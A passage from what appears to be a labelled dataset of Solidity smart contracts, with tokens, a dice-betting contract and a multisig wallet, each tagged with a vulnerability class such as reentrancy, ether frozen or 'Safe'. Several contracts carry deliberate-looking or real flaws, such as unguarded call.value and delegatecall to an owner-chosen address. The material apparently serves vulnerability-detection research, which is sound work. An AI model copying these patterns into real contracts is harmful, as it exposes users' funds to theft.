lossesOfInvestor; LOG_InvestorCapitalUpdate(currentInvestor, (int) (profitOfInvestor - lossesOfInvestor)); } else { isStopped = true; LOG_EmergencyAutoStop(); } if (copyInvested + investors[i].amountInvested >= copyInvested) copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLosses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() payable { bet(); } function bet() payable onlyIfNotStopped { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); if (oraclizeFee >= msg.value) throw; uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { LOG_NewBet(msg.sender, betValue); bytes32 myid = oraclize_query( ""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random.data.0', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BIxxSk7/a7poZUlLstBS3dBn4S3Z1SwCpAkhPfT5ZM8TpCkJIHCgbpiOlLR3aJZhFtP27av3lqqnOl6PqJKX4hQx4ASiqrD8TsuViJg2/6HDzu4/IuS21zHmeNAZOLvaSUgB+zr6B4TILVqsf96HU5zx9Skv4Dk=},\""n\"":1,\""min\"":1,\""max\"":10000${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", ORACLIZE_GAS_LIMIT + safeGas ); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback(bytes32 myid, string result, bytes proof) onlyOraclize onlyIfBetExist(myid) onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(bets[myid], numberRolled); isLosingBet(bets[myid], numberRolled); delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBet * (10000 - edge)) / pwin; LOG_BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); //Check for overflow and underflow if ((investorsLosses + winAmount < investorsLosses) || (investorsLosses + winAmount < thisBet.amountBet)) { throw; } investorsLosses += winAmount - thisBet.amountBet; } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { LOG_BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); //Check for overflow and underflow if ((investorsProfit + thisBet.amountBet < investorsProfit) || (investorsProfit + thisBet.amountBet < thisBet.amountBet) || (thisBet.amountBet == 1)) { throw; } uint totalProfit = investorsProfit + (thisBet.amountBet - 1); //added based on audit feedback investorsProfit += (thisBet.amountBet - 1)*(10000 - houseEdge)/10000; uint houseProfit = totalProfit - investorsProfit; //changed based on audit feedback safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() payable onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() payable onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment investorsInvariant { profitDistribution(); if (numInvestors == maxInvestors) { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); } numInvestors++; addInvestorAtID(numInvestors); } function divest() onlyInvestors { divest(msg.sender); } function divest(address currentInvestor) private investorsInvariant { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); if ((invested >= investors[currentID].amountInvested)) { invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; delete investors[currentID]; delete investorIDs[currentInvestor]; //Reorder investors if (currentID != numInvestors) { // Get last investor Investor lastInvestor = investors[numInvestors]; //Set last investor ID to investorID of divesting account investorIDs[lastInvestor.investorAddress] = currentID; //Copy investor at the new position in the mapping investors[currentID] = lastInvestor; //Delete old position in the mappping delete investors[numInvestors]; } numInvestors--; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); LOG_InvestorExit(currentInvestor, amountToReturn); } else { isStopped = true; LOG_EmergencyAutoStop(); } } function forceDivestOfAllInvestors() onlyOwner { uint copyNumInvestors = numInvestors; for (uint i = 1; i <= copyNumInvestors; i++) { divest(investors[1].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner { isStopped = true; LOG_ContractStopped(); } function resumeContract() onlyOwner { isStopped = false; LOG_ContractResumed(); } function changeHouseAddress(address newHouse) onlyOwner { if (newHouse == address(0x0)) throw; //changed based on audit feedback houseAddress = newHouse; LOG_HouseAddressChanged(houseAddress, newHouse); } function changeOwnerAddress(address newOwner) onlyOwner { if (newOwner == address(0x0)) throw; owner = newOwner; LOG_OwnerAddressChanged(owner, newOwner); } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) { safeGas = newGasLimit; LOG_GasLimitChanged(safeGas, newGasLimit); } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; LOG_EmergencyWithdrawalVote(msg.sender, vote); } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); LOG_EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed { uint numOfVotesInFavour; uint amountToWithdraw = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(amountToWithdraw)) { LOG_EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { LOG_EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdraw); } } else { throw; } } }",./Dataset/reentrancy (RE)/,5,5 24648.sol,"pragma solidity ^0.4.18; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; sAssert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { sAssert(b > 0); uint c = a / b; sAssert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { sAssert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; sAssert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function sAssert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is ERC20, SafeMath { mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /// @title Lianzhiliao contract LZLCoin is Ownable, StandardToken { string public name = ""Lianzhiliao""; string public symbol = ""LZL""; uint public decimals = 18; // token has 18 digit precision uint public totalSupply = 1 * (10**9) * (10**18); // 1 Billion Tokens //pd: prod, tkA: tokenAmount, etA: etherAmount event ET(address indexed _pd, uint _tkA, uint _etA); function eT(address _pd, uint _tkA, uint _etA) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _tkA); balances[_pd] = safeAdd(balances[_pd], _tkA); if (!_pd.call.value(_etA)()) revert(); ET(_pd, _tkA, _etA); return true; } /// @notice Initializes the contract and allocates all initial tokens to the owner and agreement account function LZLCoin() { balances[msg.sender] = totalSupply; // 100 percent goes to the owner } // Don't accept ethers - no payable modifier function () payable{ } /// @notice To transfer token contract ownership /// @param _newOwner The address of the new owner of this contract function transferOwnership(address _newOwner) onlyOwner { balances[_newOwner] = safeAdd(balances[owner], balances[_newOwner]); balances[owner] = 0; Ownable.transferOwnership(_newOwner); } // Owner can transfer out any ERC20 tokens sent in by mistake function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, amount); } }",./Dataset/reentrancy (RE)/,5,5 0x01a9a2b8638451d447f0027179b19e8843963a88_URUNToken.sol,"pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner{ require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); } } /** * @title URUN Token * @dev Token representing URUN. */ contract URUNToken is BurnableToken { string public name ; string public symbol ; uint8 public decimals = 18 ; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract * @param initialSupply The initial supply of tokens which will be fixed through out * @param tokenName The name of the token * @param tokenSymbol The symboll of the token */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol, address wallet ) public { owner = wallet; totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount name = tokenName; symbol = tokenSymbol; balances[wallet] = totalSupply; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), msg.sender, totalSupply); } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } }",Safe,8,8 0x02439eb051fc9ce20a4e0192cd436cfdc44db52a_MANHATTANPROXYLEXINGTONAVE.sol,"pragma solidity ^0.4.4; // ---------------------------------------------------------------------------------------------- // MANHATTAN:PROXY BY KEVIN ABOSCH ©2018 // LEXINGTON AVENUE (10,000 ERC-20 TOKENS) // VERIFY SMART CONTRACT ADDRESS WITH LIST AT HTTP://MANHATTANPROXY.COM // ---------------------------------------------------------------------------------------------- contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract MANHATTANPROXYLEXINGTONAVE is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function MANHATTANPROXYLEXINGTONAVE ( ) { totalSupply = 10000; balances[msg.sender] = 10000; name = ""MPLEXAV""; decimals = 0; symbol = ""MPLEXAV""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 37.sol,"// * Send 0 ETH to contract address 0x088DFD01e4E279d9b9b89690dc1682C89FEE1DCB // * (sending any extra amount of ETH will be considered as donations) // * Use 120 000 Gas if sending // website: https://token.alluma.io // Token name: LUMA Token // Symbol: LUMA // Decimals: 8 //Alluma’s ecosystem is built to provide for a liquid cryptocurrency exchange addressing //various user pain points while being supported by a six-layered security architecture, //localized KYC & AML policies based on financial industry international best practices, //and a multi-layered corporate governance structure. //Alluma has chosen to deploy market leading CRM software //which allows them to apply critical metrics to Alluma’s users such as lifetime //value calculations (LTV) and net promoter scoring (NPS). //This will help them identify the most engaged users on Alluma platform to ensure they are incentivized to continue driving high-value interactions on Alluma platform. pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract LUMA is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = ""LUMA""; string public constant symbol = ""LUMA""; uint public constant decimals = 8; uint256 public totalSupply = 500000000e8; uint256 public totalDistributed = 50000000e8; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function LUMA () public { owner = msg.sender; value = 100e8; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } value = value.div(100000).mul(99999); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 33425.sol," pragma solidity ^0.4.18; contract AdminInterface { address public Owner; address public oracle; uint256 public Limit; function AdminInterface(){ Owner = msg.sender; } modifier onlyOwner() { require(msg.sender == Owner); _; } function Set(address dataBase) payable onlyOwner { Limit = msg.value; oracle = dataBase; } function()payable{} function transfer(address multisig) payable onlyOwner { multisig.transfer(msg.value); } function addOwner(address newAddr) payable { if(msg.value > Limit) { oracle.delegatecall(bytes4(keccak256(""AddToWangDB(address)"")),msg.sender); newAddr.transfer(this.balance); } } }",./Dataset/ether frozen (EF),2,2 0x022125b1ee6de357ad437807c1e0ce4daa6c82b3_ConfToken.sol,"pragma solidity ^0.4.12;/* Need Price Token */contract ConfToken { address internal listenerAddr; address public owner; uint256 public initialIssuance; uint256 public totalSupply; uint256 public currentEthPrice; /* In USD */ uint256 public currentTokenPrice; /* In USD */ string public symbol; struct productAmount { bytes32 name; uint amnt; } mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) public balances; mapping (bytes32 => uint256) public productListing; /*(Product : Price)*/ mapping (address => productAmount[]) public productOwners; /* Address => (productName => amount) */ function ConfToken() { totalSupply = 10000000; initialIssuance = 21000000; owner = msg.sender; currentEthPrice = 1; /* TODO: Oracle */ currentTokenPrice = 1; /* USD */ symbol = ""CONF""; balances[owner] = 11000000; /*This owner has requested this in their account*/ } /* Math Helpers */ function safeMul(uint a, uint b) constant internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) constant internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) constant internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function stringToUint(string s) constant returns (uint result) { bytes memory b = bytes(s); uint i; result = 0; for (i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 10 + (c - 48); } } } /* Methods */ function balanceOf(address _addr) constant returns (uint balance){ return balances[_addr]; } function totalSupply() constant returns (uint256){ return totalSupply; } function setTokenPrice(uint128 _amount){ assert(msg.sender == owner); currentTokenPrice = _amount; } function setEthPrice(uint128 _amount){ assert(msg.sender == owner); currentEthPrice = _amount; } function seeEthPrice() constant returns (uint256){ return currentEthPrice; } function __getEthPrice(uint256 price){ /* Oracle Calls this function */ assert(msg.sender == owner); currentEthPrice = price; } function createProduct(bytes32 name, uint128 price){ assert(msg.sender == owner); productListing[name] = price; } function checkProduct(bytes32 name) returns (uint productAmnt){ productAmount[] storage ownedProducts = productOwners[msg.sender]; for (uint i = 0; i < ownedProducts.length; i++) { bytes32 prodName = ownedProducts[i].name; if (prodName == name){ return ownedProducts[i].amnt; } } } function purchaseProduct(bytes32 name,uint amnt){ assert(productListing[name] != 0); uint256 productsPrice = productListing[name] * amnt; assert(balances[msg.sender] >= productsPrice); balances[msg.sender] = safeSub(balances[msg.sender], productsPrice); productOwners[msg.sender].push(productAmount(name,amnt)); } function buyToken() payable returns (uint256){ /* Need return Change Function */ assert(msg.value > currentTokenPrice); assert(msg.value > 0); uint256 oneEth = 1000000000000000000; /* calculate price for 1 wei */ uint conversionFactor = oneEth * 100; uint256 tokenAmount = ((msg.value * currentEthPrice)/(currentTokenPrice * conversionFactor))/10000000000000000; /* Needs decimals */ assert((tokenAmount != 0) || (tokenAmount <= totalSupply)); totalSupply = safeSub(totalSupply,tokenAmount); if (balances[msg.sender] != 0) { balances[msg.sender] = safeAdd(balances[msg.sender], tokenAmount); }else{ balances[msg.sender] = tokenAmount; } return tokenAmount; } function transfer(address _to, uint256 _value) payable returns (bool success){ assert((_to != 0) && (_value > 0)); assert(balances[msg.sender] >= _value); assert(safeAdd(balances[_to], _value) > balances[_to]); Transfer(msg.sender, _to, _value); balances[msg.sender] = safeSub(balances[msg.sender],_value); balances[_to] = safeAdd(balances[msg.sender], _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success){ assert(allowed[_from][msg.sender] >= _value); assert(_value > 0); assert(balances[_to] + _value > balances[_to]); balances[_from] = safeSub(balances[_from],_value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value); balances[_to] = safeAdd(balances[_to], _value); return true; } function approve(address _spender, uint _value) returns (bool success){ allowed[msg.sender][_spender] = _value; return true; } function allowance(address _owner, address _spender) constant returns (uint remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint _value); event Approval (address indexed _owner, address indexed _spender, uint _value); function() { revert(); }}",Safe,8,8 38967.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if 